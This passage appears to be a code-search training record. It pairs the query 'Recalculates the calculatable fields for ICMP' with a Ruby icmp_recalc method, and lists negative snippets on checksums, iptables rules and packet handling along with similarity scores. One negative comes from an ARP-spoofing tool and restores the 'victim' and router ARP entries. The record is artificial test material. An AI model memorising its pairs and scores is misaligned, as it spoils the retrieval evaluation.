"def compute_checksum(h)\n begin\n signed_h = h.dup.with_indifferent_access\n CLEAR_OPTIONS.map{|o| signed_h.delete(o) }\n marshaled = ActionController::Routing::Route.new.build_query_string(signed_h)\n marshaled = marshaled.gsub(/^\\?/, '').split(/&/).sort.join('&')\n digest.call(self, Base64.encode64(marshaled.to_s.reverse)).to_s\n ensure\n end\n end",
"def checksum sequence_number\n Digest::MD5.hexdigest(@buffer[sequence_number])\n end",
"def checksum_handler(file_path, hash_db, hash_class, _bit_size, debugmode, samefolder)\n # Reference for hash banner to notice wat function is using\n reference_banner = {1 => \"SHA1\", 2 => \"SHA2-#{_bit_size}\", 5 => \"MD5\"}[hash_class]\n # returns path as the script was in the same folder\n if samefolder\n samefolder = getfolder file_path\n end\n # Puts hash class that is really a hash function that is going to be used\n if debugmode\n puts reference_banner\n end\n # Write to target if is stablished\n if hash_db.is_a? String\n # Handler for the next writes\n file_object = File.open hash_db, 'w'\n # Write the banner; useful for compare mode\n file_object.write \"#{reference_banner}\\n\"\n else\n # When not file is set\n file_object = nil\n end\n # Stablish the hash class\n hash_class = {1 => Digest::SHA1, 2 => Digest::SHA2, 5 => Digest::MD5}[hash_class]\n # Recursive mode also works with files\n recursive_checksum file_path, hash_class, _bit_size, file_object, debugmode, samefolder\n # If we are redirecting the hashes to a file finally close it\n if file_object\n file_object.close\n end\nend",
"def checksum\n return nil if @window_bits < 0\n @inflater.closed? ? @checksum : @inflater.adler\n end",
"def image_checksum(data, index1 = 0, index2 = 0) #:nodoc:\n case @checksum_method\n when 3\n Digest::MD5.hexdigest(data)\n when 1\n # Digest::MD4\n # return Digest::MD4::md4_hex($data);\n when 2\n # Digest::Perl::MD4\n # return Digest::Perl::MD4::md4_hex($data);\n else\n # Default\n # return sprintf('%016X%016X', index2, index1)\n end\n end",
"def include_checksum_state\n super\n end",
"def crc32\n Zlib.crc32(@request)\n end",
"def load_checksums!\n return if @options[:noop]\n\n resp = s3.list_objects(bucket: s3_bucket, prefix: @prefix)\n resp.contents.each do |object|\n @checksums[object.key] = strip_surrounding_quotes(object.etag)\n end\n @checksums\n end",
"def updatesum(newvalue)\n return unless c = resource.catalog and c.host_config?\n result = false\n\n # if we're replacing, vs. updating\n if sum = cache(checktype())\n return false if newvalue == sum\n\n self.debug \"Replacing %s checksum %s with %s\" % [@resource.title, sum, newvalue]\n result = true\n else\n @resource.debug \"Creating checksum %s\" % newvalue\n result = false\n end\n\n # Cache the sum so the log message can be right if possible.\n @cached = sum\n cache(checktype(), newvalue)\n return result\n end",
"def shasum\n @shasum ||= begin\n digest = Digest::SHA256.new\n\n update_with_string(digest, project.shasum)\n update_with_string(digest, builder.shasum)\n update_with_string(digest, name)\n update_with_string(digest, version_for_cache)\n update_with_string(digest, FFI_Yajl::Encoder.encode(overrides))\n\n if filepath && File.exist?(filepath)\n update_with_file_contents(digest, filepath)\n else\n update_with_string(digest, \"<DYNAMIC>\")\n end\n\n digest.hexdigest\n end\n end",
"def checksum(iFirstOrSecond)\n\n\t\t# if invalid index\n\t\treturn 0xFF if (1 < iFirstOrSecond)\n\n\t\treturn @aChecksum[iFirstOrSecond];\n\n\tend",
"def update_digest_to_sha256!\n return unless readable?\n\n object = self.s3_object\n sha = Digest::SHA256.new\n sha.update(object.get.body.read)\n new_digest = sha.hexdigest\n\n unless new_digest == object.metadata['digest']\n object.copy_from(object,\n content_disposition: object.content_disposition,\n content_type: object.content_type,\n metadata: object.metadata.merge({'digest' => new_digest}),\n metadata_directive: 'REPLACE'\n )\n end\n\n unless new_digest == self.digest\n update_column :digest, new_digest\n end\n end"
] | [
"0.80539864",
"0.80013555",
"0.80013555",
"0.73268926",
"0.727039",
"0.70586544",
"0.70096284",
"0.6950192",
"0.6943849",
"0.6943849",
"0.6929485",
"0.67689216",
"0.66897464",
"0.6683487",
"0.66554815",
"0.6439313",
"0.6420968",
"0.63758403",
"0.63669187",
"0.63465244",
"0.6338226",
"0.6313113",
"0.6308865",
"0.62591714",
"0.6224118",
"0.6219633",
"0.6188865",
"0.6177192",
"0.6151977",
"0.61190987",
"0.60892427",
"0.6052549",
"0.6023634",
"0.6002985",
"0.5991908",
"0.595241",
"0.59458345",
"0.59374875",
"0.5883365",
"0.5873989",
"0.5870582",
"0.5864217",
"0.58379465",
"0.5836077",
"0.5823816",
"0.5790324",
"0.5784273",
"0.57155037",
"0.5709719",
"0.57012445",
"0.569999",
"0.5683355",
"0.56724256",
"0.563569",
"0.5628969",
"0.5605145",
"0.5600968",
"0.5587395",
"0.55590564",
"0.555516",
"0.55334187",
"0.5522926",
"0.5511558",
"0.5494806",
"0.548898",
"0.5488921",
"0.5488678",
"0.5484627",
"0.546464",
"0.54465055",
"0.5446137",
"0.5441016",
"0.54394895",
"0.5429803",
"0.5422314",
"0.5416605",
"0.540146",
"0.540146",
"0.540146",
"0.5390705",
"0.53873485",
"0.5350865",
"0.53489065",
"0.53353035",
"0.53023624",
"0.5288772",
"0.528047",
"0.5280019",
"0.52758056",
"0.5269151",
"0.524915",
"0.52482206",
"0.5246908",
"0.52320105",
"0.52275324",
"0.5223459",
"0.52135265",
"0.519216",
"0.51892483",
"0.5169714",
"0.5143626"
] | 0.0 | -1 |
Recalculates the calculatable fields for ICMP. | def icmp_recalc(arg = :all)
case arg.to_sym
when :icmp_sum
self.icmp_sum=icmp_calc_sum
when :all
self.icmp_sum=icmp_calc_sum
else
raise ArgumentError, "No such field `#{arg}'"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reset_icmp_statistics\n super\n end",
"def icmp_recalc(arg=:all)\n\t\t\t# How silly is this, you can't intern a symbol in ruby 1.8.7pl72?\n\t\t\t# I'm this close to monkey patching Symbol so you can force it...\n\t\t\targ = arg.intern if arg.respond_to? :intern\n\t\t\tcase arg\n\t\t\twhen :icmp_sum\n\t\t\t\tself.icmp_sum=icmp_calc_sum\n\t\t\twhen :all\n\t\t\t\tself.icmp_sum=icmp_calc_sum\n\t\t\telse\n\t\t\t\traise ArgumentError, \"No such field `#{arg}'\"\n\t\t\tend\n\t\tend",
"def icmp_sum; self[:icmp_sum].to_i; end",
"def icmp_sum; self[:icmp_sum].to_i; end",
"def icmp_calc_sum\n\t\t\tchecksum = (icmp_type.to_i << 8)\t+ icmp_code.to_i\n\t\t\tchk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + \"\\x00\")\n\t\t\tif 1.respond_to? :ord\n\t\t\t\tchk_body.scan(/../).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y }\n\t\t\telse\n\t\t\t\tchk_body.scan(/../).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y }\n\t\t\tend\n\t\t\tchecksum = checksum % 0xffff\n\t\t\tchecksum = 0xffff - checksum\n\t\t\tchecksum == 0 ? 0xffff : checksum\n\t\tend",
"def icmp_statistics\n super\n end",
"def icmp_calc_sum\n checksum = (icmp_type.to_i << 8)\t+ icmp_code.to_i\n chk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + \"\\x00\")\n if 1.respond_to? :ord\n chk_body.split(\"\").each_slice(2).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y }\n else\n chk_body.split(\"\").each_slice(2).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y }\n end\n checksum = checksum % 0xffff\n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n end",
"def reset_ip_statistics\n super\n end",
"def icmpv6_statistics\n super\n end",
"def ndp_calc_sum\n checksum = 0\n\n # Compute sum on pseudo-header\n [ipv6_src, ipv6_dst].each do |iaddr|\n 8.times { |i| checksum += (iaddr >> (i*16)) & 0xffff }\n end\n checksum += PacketFu::NDPHeader::PROTOCOL_NUMBER\n checksum += ipv6_len\n # Continue with entire ICMPv6 message.\n checksum += (ndp_type.to_i << 8) + ndp_code.to_i\n checksum += ndp_reserved.to_i >> 16\n checksum += ndp_reserved.to_i & 0xffff\n 8.times { |i| checksum += (ndp_tgt.to_i >> (i*16)) & 0xffff }\n checksum += (ndp_opt_type.to_i << 8) + ndp_opt_len.to_i\n\n mac2int = ndp_lla.to_s.unpack('H*').first.to_i(16)\n 3.times { |i| checksum += (mac2int >> (i*16)) & 0xffff }\n\n checksum = checksum % 0xffff\n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n\n end",
"def icmp_sum=(i); typecast i; end",
"def icmp_sum=(i); typecast i; end",
"def calculate\n self.net_amount = nil\n self.tax_amount = nil\n self.gross_amount = nil\n self.tax_rate = nil\n self.total\n end",
"def calculate\n self.net_amount = nil\n self.tax_amount = nil\n self.gross_amount = nil\n self.tax_rate = nil\n self.total\n end",
"def icmp_type; self[:icmp_type].to_i; end",
"def icmp_type; self[:icmp_type].to_i; end",
"def set_ip_checksum\n self.ip_sum = 0\n check_sum_data = to_s[0..(ip_hl*4 - 1)].unpack(\"S>*\")\n sum = check_sum_data.inject(0) { |acc, byte| acc + byte }\n sum = sum + (sum >> 16)\n self.ip_sum = ~sum\n end",
"def ip_statistics\n super\n end",
"def reset\n self.curr_ip = self.subnet.split('.')\n self.num_ips = (1 << (32 - Socket.net2bitmask(self.netmask).to_i))\n self.curr_ip_idx = 0\n end",
"def tcp_recalc(arg=:all)\n case arg\n when :tcp_sum\n tcp_calc_sum\n when :tcp_hlen\n @tcp_header.tcp_recalc :tcp_hlen\n when :all\n @tcp_header.tcp_recalc :all\n tcp_calc_sum\n else\n raise ArgumentError, \"No such field `#{arg}'\"\n end\n end",
"def calc_checksum\n ip = ip_header(self)\n sum = ip.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n sum = ip_header(self).pseudo_header_checksum\n sum += self.sz\n sum += IP_PROTOCOL\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def update_computed_fields\n #enpassant\n if @board.en_passant_capture?( from_coord, to_coord )\n self[:captured_piece_coord] = to_coord.gsub( /3/, '4' ).gsub( /6/, '5' )\n end\n\n #castling\n self[:castled] = 1 if (@piece_moving.function==:king && from_coord.file=='e' && to_coord.file =~ /[cg]/ )\n\n #finally ensure move is (re)notated\n self[:notation] = notate\n end",
"def icmp_count\n host_stats[:icmp].to_i\n end",
"def calculate\n=begin\n self.net_amount = nil\n self.tax_amount = nil\n self.gross_amount = nil\n=end\n self.total\n end",
"def fix!\n self.payload = [@ips, @authdata].flatten.pack(\"N#{@ips.size}a*\")\n self.num_ips = @ips.size\n self.checksum!\n end",
"def reset_udp_statistics\n super\n end",
"def parse!\n self.interface_stats = Hash.new { |hash,key| hash[key] = {} }\n \n interface_names = Hash[self.raw_output.scan(/IF-MIB::ifDescr.(\\d+) = STRING: (\\w+)/m)]\n interface_types = Hash[self.raw_output.scan(/IF-MIB::ifType.(\\d+) = INTEGER: ([a-zA-Z0-9\\(\\)]+)/)]\n mac_addresses = Hash[self.raw_output.scan(/IF-MIB::ifPhysAddress.(\\d+) = STRING: ([0-9a-f:]+)/)]\n \n link_states = Hash[self.raw_output.scan(/IF-MIB::ifOperStatus.(\\d+) = INTEGER: (\\w+)\\(\\d\\)/)]\n octets_in = Hash[self.raw_output.scan(/IF-MIB::ifInOctets.(\\d+) = Counter32: (\\d+)/)]\n octets_out = Hash[self.raw_output.scan(/IF-MIB::ifOutOctets.(\\d+) = Counter32: (\\d+)/)]\n errors_in = Hash[self.raw_output.scan(/IF-MIB::ifInErrors.(\\d+) = Counter32: (\\d+)/)]\n errors_out = Hash[self.raw_output.scan(/IF-MIB::ifOutErrors.(\\d+) = Counter32: (\\d+)/)]\n \n interface_names.keys.each do |index|\n self.interface_stats[index][:name] = interface_names[index]\n self.interface_stats[index][:type] = interface_types[index]\n self.interface_stats[index][:mac] = mac_addresses[index]\n self.interface_stats[index][:in] = octets_in[index].to_i\n self.interface_stats[index][:out] = octets_out[index].to_i\n self.interface_stats[index][:errors_in] = errors_in[index].to_i\n self.interface_stats[index][:errors_out] = errors_out[index].to_i\n self.interface_stats[index][:up] = link_states[index] == \"up\"\n end\n \n self.interface_stats\n end",
"def recalibrate_order!\n order.reload\n order.refresh_shipping_cost\n order.save\n end",
"def icmp_code; self[:icmp_code].to_i; end",
"def icmp_code; self[:icmp_code].to_i; end",
"def recalculate\n end",
"def calc_checksum\n ipv6 = ip_header(self)\n sum = ipv6.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def recalc\n # Removes previous total and tax, then prompts user to enter new info\n total\n user_tax = get_input\n\n tax\n user_tax = get_input\n\n $user_totals.pop\n $user_totals = [user_input, user_tax]\n\n # Gets previous selected tip from cache and calculates correct percentage\n case $cached_tip\n when \"10\"\n percent_10\n when \"15\"\n percent_15\n when \"20\"\n percent_20\n else\n user_percent\n end\n\n end",
"def reset_icmpv6_statistics\n super\n end",
"def gather_threshold_totals\n rules.each{|field_to_validate, field_options|\n field_threshold = return_threshold(field_to_validate, field_options)\n if field_threshold\n gather_field_threshold_totals(field_to_validate, field_options)\n else\n gather_specific_validation_totals(field_to_validate, field_options)\n end\n }\n end",
"def reset_dns_statistics\n super\n end",
"def calibrate\n @seen = 0\n @captured = 0\n 1.step(GameData::Pokemon.all.size - 1) do |id|\n @seen += 1 if @has_seen_and_forms[id].to_i != 0\n @captured += 1 if @has_captured[id]\n end\n $game_variables[Yuki::Var::Pokedex_Catch] = @captured\n $game_variables[Yuki::Var::Pokedex_Seen] = @seen\n end",
"def ip_calc_sum(pkt)\n checksum = (((pkt.ip_v << 4) + pkt.ip_hl) << 8) + pkt.ip_tos\n checksum += pkt.ip_len\n checksum += pkt.ip_id\n checksum += pkt.ip_frag\n checksum += (pkt.ip_ttl << 8) + pkt.ip_proto\n checksum += (pkt.ip_src >> 16)\n checksum += (pkt.ip_src & 0xffff)\n checksum += (pkt.ip_dst >> 16)\n checksum += (pkt.ip_dst & 0xffff)\n checksum = checksum % 0xffff \n checksum = 0xffff - checksum\n checksum == 0 ? 0xffff : checksum\n return checksum\nend",
"def update_totals\n # update_adjustments\n self.payment_total = payments.completed.map(&:amount).sum\n self.item_total = line_items.map(&:amount).sum\n \n self.adjustment_total = adjustments.eligible.map(&:amount).sum\n self.total = item_total + adjustment_total + gift_packaging_total\n end",
"def static_ip_score; end",
"def recalc\n logger.debug \"recalculating boundary #{self.inspect}\"\n \n return unless self.ne_lat.nil? or self.ne_lng.nil? or self.sw_lat.nil? or self.sw_lng.nil?\n \n if boundary_object_type == \"Annotation\"\n cp = Annotation.find(boundary_object_id).map.control_points.first(3)\n elsif boundary_object_type == \"Map\"\n cp = Map.find(boundary_object_id).control_points.first(3)\n end\n \n self.ne_lat, self.ne_lng = ControlPoint.compute_latlng_from_known_xy(ne_x, ne_y, cp)\n self.sw_lat, self.sw_lng = ControlPoint.compute_latlng_from_known_xy(sw_x, sw_y, cp)\n self.save\n \n end",
"def recalculate\n\tend",
"def ipv6_recalc(arg=:all)\n\t\t\tcase arg\n\t\t\twhen :ipv6_len\n\t\t\t\tipv6_calc_len\n\t\t\twhen :all\n\t\t\t\tipv6_recalc(:len)\n\t\t\tend\n\t\tend",
"def reset_ipv6_statistics\n super\n end",
"def up_total\n up, down = update_total_traffic_from_router_info\n Traffic::Amount.new up\n end",
"def update_totals\n # update_adjustments\n self.payment_total = payments.completed.map(&:amount).sum\n \n self.item_total = order_items.map(&:amount).sum\n self.billing_total = order_items.map(&:cost).sum\n self.customer_total = item_total\n self.full_total = order_items.map(&:full).sum\n end",
"def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end",
"def arp_proto_len; self[:arp_proto_len].to_i; end",
"def calculate \n self.update_column(:subtotal , self.calculate_subtotal )\n self.update_column(:tax , self.calculate_tax )\n self.update_column(:shipping , self.calculate_shipping )\n self.update_column(:handling , self.calculate_handling )\n self.update_column(:gift_wrap , self.calculate_gift_wrap )\n \n # Calculate the total without the discounts first \n self.discounts.each{ |d| d.update_column(:amount, 0.0) } if self.discounts\n self.update_column(:discount , 0.00)\n self.update_column(:total , self.calculate_total )\n \n # Now calculate the discounts and re-calculate the total\n self.update_column(:discount , self.calculate_discount )\n self.update_column(:total , self.calculate_total ) \n \n self.update_column(:cost , self.calculate_cost )\n self.update_column(:profit , self.calculate_profit ) \n end",
"def update_totals\n # update_adjustments\n self.payment_total = payments.completed.map(&:amount).sum\n self.item_total = line_items.map(&:amount).sum\n self.adjustment_total = adjustments.eligible.map(&:amount).sum\n self.total = item_total + adjustment_total\n end",
"def compute_net_pay\n self[:raw_net_pay] = self[:gross_pay] - self[:total_tax] -\n total_deductions()\n\n Rails.logger.debug(\"[E: #{employee.id}] GP: #{gross_pay} - (TT: #{total_tax} + TD: #{total_deductions()}) = RNP: #{raw_net_pay}\")\n\n if (self[:raw_net_pay] >= -4)\n if (employee.create_location_transfer?)\n # TODO Should this be added as a charge as well?\n deduction = Deduction.new\n deduction.note = \"#{Payslip::LOCATION_TRANSFER} #{employee.location&.upcase}\"\n deduction.deduction_type = Charge.charge_types[\"location_transfer\"]\n deduction.amount = Payslip.cfa_round(self[:raw_net_pay])\n deduction.date = period.finish\n\n deductions << deduction\n\n self[:net_pay] = self[:raw_net_pay] = 0\n else\n self[:net_pay] = Payslip.cfa_round(self[:raw_net_pay])\n end\n else\n # This isn't good. Give up.\n # This will raise an error since there's a model\n # validation that net_pay must be\n # greater_than_or_equal_to zero.\n self[:net_pay] = self[:raw_net_pay]\n end\n\n self[:salaire_net] = self[:taxable] - self[:total_tax]\n end",
"def compute_checksum\n pseudo = []\n pseudo << ((((self.version << 4) | self.hlen) << 8) | self.tos)\n pseudo << self.len\n pseudo << self.id\n pseudo << ((self.flags << 13) | self.foffset)\n pseudo << ((self.ttl << 8) | self.protocol)\n pseudo << 0 \n pseudo << L3::Misc.ipv42long(self.src_ip)\n pseudo << L3::Misc.ipv42long(self.dst_ip)\n L3::Misc.checksum(pseudo.pack(\"nnnnnnNN\"))\n end",
"def parseping(output)\n res = Hash.new\n begin\n res[:success] = 100 - Integer(output.match(/([[:digit:]]+)% packet loss/m)[1])\n res[:rtt] = Float(output.match(/= [[:digit:]\\.]+\\/([[:digit:]\\.]+)\\//m)[1])\n rescue NoMethodError, TypeError\n # Do nothing, just fall through and return the empty hash.\n end\n res\nend",
"def arp_proto; self[:arp_proto].to_i; end",
"def revertArpPackets()\n\t\n\t#Construct the target's packet\n\tarp_packet_target = PacketFu::ARPPacket.new()\n\tarp_packet_target.eth_saddr = @routerMAC \n\tarp_packet_target.eth_daddr = @victimMAC \n\tarp_packet_target.arp_saddr_mac = @routerMAC\n\tarp_packet_target.arp_daddr_mac = @victimMAC\n\tarp_packet_target.arp_saddr_ip = @routerIP\n\tarp_packet_target.arp_daddr_ip = @victimIP\n\tarp_packet_target.arp_opcode = 2\n\t \n\t# Construct the router's packet\n\tarp_packet_router = PacketFu::ARPPacket.new()\n\tarp_packet_router.eth_saddr = @victimMAC\n\tarp_packet_router.eth_daddr = @routerMAC\n\tarp_packet_router.arp_saddr_mac = @victimMAC\n\tarp_packet_router.arp_daddr_mac = @routerMAC\n\tarp_packet_router.arp_saddr_ip = @victimIP \n\tarp_packet_router.arp_daddr_ip = @routerIP\n\tarp_packet_router.arp_opcode = 2\n\t\n\t# Send ARP Packets to Victim and Router\n\tarp_packet_target.to_w(@interface)\n\tarp_packet_router.to_w(@interface)\n\t\nend",
"def update_totals\n update_payment_total\n update_item_total\n update_shipment_total\n update_adjustment_total\n end",
"def finalize\n # sort rules by alphabetical order, grouped by chain, else they arrive in\n # random order and cause puppet to reload iptables rules.\n @@rules.each_key {|key|\n @@rules[key] = @@rules[key].sort_by {|rule| [rule[\"chain_prio\"], rule[\"name\"]] }\n }\n\n # load pre and post rules\n load_rules_from_file(@@rules, @@pre_file, :prepend)\n load_rules_from_file(@@rules, @@post_file, :append)\n\n # add numbered version to each rule\n @@table_counters.each_key { |table|\n rules_to_set = @@rules[table]\n if rules_to_set\n counter = 1\n rules_to_set.each { |rule|\n rule['numbered rule'] = counter.to_s + \" \"+rule[\"full rule\"]\n rule['altned rule'] = counter.to_s + \" \"+rule[\"alt rule\"]\n counter += 1\n }\n end\n }\n\n # On the first round we delete rules which do not match what\n # we want to set. We have to do it in the loop until we\n # exhaust all rules, as some of them may appear as multiple times\n while self.delete_not_matched_rules > 0\n end\n\n # Now we need to take care of rules which are new or out of order.\n # The way we do it is that if we find any difference with the\n # current rules, we add all new ones and remove all old ones.\n if self.rules_are_different\n # load new new rules\n benchmark(:notice, self.noop ? \"rules would have changed... (noop)\" : \"rules have changed...\") do\n # load new rules\n @@table_counters.each { |table, total_do_delete|\n rules_to_set = @@rules[table]\n if rules_to_set\n rules_to_set.each { |rule_to_set|\n if self.noop\n debug(\"Would have run 'iptables -t #{table} #{rule_to_set['alt rule']}' (noop)\")\n next\n else\n debug(\"Running 'iptables -t #{table} #{rule_to_set['alt rule']}'\")\n `#{@@iptables_dir}/iptables -t #{table} #{rule_to_set['alt rule']}`\n end\n }\n end\n }\n\n # delete old rules\n @@table_counters.each { |table, total_do_delete|\n current_table_rules = @@current_rules[table]\n if current_table_rules\n current_table_rules.each { |rule, data|\n if self.noop\n debug(\"Would have run 'iptables -t #{table} -D #{data['chain']} 1' (noop)\")\n next\n else\n debug(\"Running 'iptables -t #{table} -D #{data['chain']} 1'\")\n `#{@@iptables_dir}/iptables -t #{table} -D #{data['chain']} 1`\n end\n }\n end\n }\n # Run iptables save to persist rules. The behaviour is to do nothing\n # if we no nothing of the operating system.\n persist_cmd = case Facter.value(:operatingsystem).downcase\n when /(fedora|redhat|centos)/ then \"/sbin/service iptables save\"\n when /(ubuntu|debian)/ then \"/sbin/iptables-save > /etc/iptables.rules\"\n else nil\n end\n debug(\"Saving iptables with: #{persist_cmd}\")\n unless(persist_cmd == nil) then\n\t system(persist_cmd)\n end\n end\n\n @@rules = {}\n end\n\n @@finalized = true\n end",
"def icmp_type=(i); typecast i; end",
"def icmp_type=(i); typecast i; end",
"def adjustment\n return 0 unless eligible?\n\n calculation\n end",
"def perform\n result, status = execute_ping_command\n\n # we only process `successful` ping.\n return parsed(status: status) unless status == 0\n\n _, site, ip, _ = result.match(regex_ping)[0].split(\" \")\n ip.gsub!(regex_filter, \"\")\n loss = result.match(regex_loss) ? $&.to_f : 100\n\n if stat = result.match(regex_stat)\n parsed(ip: ip, site: site, loss: loss,\n max: stat[\"max\"].to_f, min: stat[\"min\"].to_f,\n avg: stat[\"avg\"].to_f, stddev: stat[\"stddev\"]&.to_f || 0.0)\n else\n parsed(ip: ip, site: site, loss: loss, status: status)\n end\n end",
"def recalc_totals_from_db!\n self.subtotal = self.time_entries.sum(:total_amount) + self.expense_entries.sum(:total_amount)\n self.paid = self.payment_allocates.sum(:amount)\n self.save!\n end",
"def edgeuUpdate(msg)\n msg = msg.split(' ')\n dst = msg[0]\n cost = msg[1].to_i\n $dist[dst] = cost\n $neighbors[dst] = cost\nend",
"def update!(**args)\n @asn = args[:asn] if args.key?(:asn)\n @control_plane_nodes = args[:control_plane_nodes] if args.key?(:control_plane_nodes)\n @ip_address = args[:ip_address] if args.key?(:ip_address)\n end",
"def computed_fields; end",
"def update_total\n self.total = self.note_1 + self.note_2 + self.note_3 + self.note_4 if self.note_1 && self.note_2 && self.note_3 && self.note_4\n end",
"def update_total\n self.total = self.note_1 + self.note_2 + self.note_3 + self.note_4 if self.note_1 && self.note_2 && self.note_3 && self.note_4\n end",
"def inverter_mppt_Calculate\n inverter_watt = ((@panels_no*@panel_wt)/0.7).ceil(3)\n @sys_circuits = 1\n if inverter_watt > 2500\n @sys_circuits = (((inverter_watt/2500)+0.4).ceil(1)).round()\n @sys_circuits += 1 if @sys_circuits.odd?\n inverter_watt = (inverter_watt/@sys_circuits).ceil(3)\n end\n inverter_watt = 1000 if inverter_watt < 1000\n mppt_amp = ((@panels_no*@panel_wt*1.25)/(@battery_voltage*2)).ceil()\n mppt_amp = mppt_amp / @sys_circuits if @sys_circuits > 1\n \n {\"inverter_watt\" => inverter_watt.ceil(-2), \"inverters_num\" => @sys_circuits, \"mppt_amp\" => mppt_amp.ceil(-1), \"mppts_num\" => @sys_circuits}\n end",
"def icmp_code=(i); typecast i; end",
"def icmp_code=(i); typecast i; end",
"def update_precalc_fields(do_save = true)\n self.start = legs.first.start\n self.finish = legs.last.finish\n self.miles = legs.sum(:miles)\n self.idle_time = legs.sum(:idle_time)\n self.average_mpg = compute_average_mpg\n self.save if do_save\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calculate_shipping_cost\n methods.collect { |name| __send__ name if name.to_s.starts_with? 'shipping_cost_based_on' }.compact.sum zero\n end",
"def down_total\n up, down = update_total_traffic_from_router_info\n Traffic::Amount.new down\n end",
"def calculate_promotional_adjustments\n @promotion_adjustment = 0\n\n # An assumption is made here that the promotions are ordered correctly. A global 10% discount must be applied last\n @promotions.each do |promotion|\n if promotion.triggered?(self)\n @promotion_adjustment += promotion.calculate_adjustment(self)\n end\n end\n end",
"def canonocalize_hops!()\n # Sort\n @hops = @hops.sort_by { |hop| hop.ttl }\n\n # Fill in gaps\n return if @hops.empty?\n return if @hops[-1].ttl > 45 # packet corruption perhaps...\n @hops.each_with_index do |hop, i|\n return if i+1 == @hops.size\n # look ahead to the next hop\n next_hop = @hops[i+1]\n if next_hop.ttl != hop.ttl + 1\n filler_hop = Hop.new\n filler_hop.ip = \"0.0.0.0\"\n filler_hop.ttl = hop.ttl + 1\n # on next iteration, this will be the current hop\n @hops.insert(i+1, filler_hop)\n end\n end\n end",
"def update_arp_table(network)\n for i in 1..254 do \n `ping -c 1 #{network}.#{i} 2&>1;` \n end\nend",
"def keep_calculating\n self.max_price = broker.max_mortgage.price.to_i\n self.min_price = broker.min_mortgage.price.to_i\n self.rate = broker.max_mortgage.rate\n end",
"def reset\n @ip = Ip.find(params[:id])\n logger.info(\"RESETTING #{@ip.inspect} from #{@ip.info.inspect}\")\n @ip.infos.create!(name: '-') unless @ip.info.name == '-'\n @ip.update(last_arp_id: nil, starred: nil)\n render json: 'ok'\n end",
"def parse(data)\n super data\n @ip_address = data[0..3].to_ip\n @subnet_mask = data[4..7].to_ip\n @standard_gateway = data[8..11].to_ip\n end",
"def ppptotal\n pppquantity + pppquality + pppontime + pppeffective + \n pppknowledge + ppprules + pppcommunication +\n pppleader + pppmanage + pppdiscipline + pppproactive + ppprelate + \n pppparttwo\n end",
"def ppptotal\n pppquantity + pppquality + pppontime + pppeffective + \n pppknowledge + ppprules + pppcommunication +\n pppleader + pppmanage + pppdiscipline + pppproactive + ppprelate + \n pppparttwo\n end",
"def get_rule_detail(h_filters, filtertype, filter, term)\n\n # Check filtertype and assign correct global hash ($h_filters or $h_filters6) to filters\n case filtertype\n when :ipv4_input_filter\n filters = $h_filters\n when :ipv4_output_filter\n filters = $h_filters\n when :ipv6_input_filter\n filters = $h_filters6\n when :ipv6_output_filter\n filters = $h_filters6\n else\n p \"get_rule_detail: filtertype not supported - #{filtertype}\" if $opts[:debug]\n end\n\n # Initialize vars, sets, etc\n result = '' ### To pass status back to calling method\n srcaddr = Set.new\n dstaddr = Set.new\n sport = Set.new\n dport = Set.new\n protocol = Set.new\n dscp = Set.new\n svcnegate = 'false' ### if type icmp-except need to negate the rule\n\n # Update corresponding hash based on object type from term's sources hash branch\n filters[filter][term][:source].each do |object, objtype|\n\n case objtype\n when :'source-address'\n srcaddr.add(object)\n\n when :'destination-address'\n dstaddr.add(object)\n\n when :address\n srcaddr.add(object)\n dstaddr.add(object)\n\n when :'source-port'\n sport.add(object)\n\n when :'destination-port'\n dport.add(object)\n\n when :port\n dport.add(object)\n\n when :'source-prefix-list'\n srcaddr.add(object)\n\n # The following code snipet is no longer used, but can be activated to add each address in the prefix list\n # to the dstaddr set. Instead, we are using the name to reference an address group that should\n # have been created for each prefix list\n # $h_prefix_lists[object].each do |addr|\n # srcaddr.add(addr)\n # end\n\n when :'destination-prefix-list'\n dstaddr.add(object)\n\n # The following code snipet is no longer used, but can be activated to add each address in the prefix list\n # to the dstaddr set. Instead, we are using the name to reference an address group that should\n # have been created for each prefix list\n # $h_prefix_lists[object].each do |addr|\n # dstaddr.add(addr)\n # end\n\n when :'prefix-list'\n srcaddr.add(object)\n dstaddr.add(object)\n\n when :protocol\n protocol.add(object)\n\n when :'next-header'\n protocol.add(object)\n\n when :'icmp-type'\n protocol.add(:icmp)\n dport.add(object)\n\n when :'icmp-type-except'\n protocol.add(:icmp)\n dport.add(object)\n svcnegate = 'true'\n\n when :dscp\n dscp.add(object)\n\n else\n result += \"get_rule_detail: object type: #{objtype}, not supported for filter: #{filter}, term: #{term}\"\n p \"get_rule_detail: object type: #{objtype}, not supported for filter: #{filter}, term: #{term}\"\\\n if $opts[:verbose] || $opts[:debug]\n end\n end\n\n action = h_filters[filter][term][:action]\n\n return srcaddr, dstaddr, sport, dport, protocol, action, svcnegate, result, dscp\nend",
"def update_total\n self.total = self.shipments.map(&:item_cost).sum\n end",
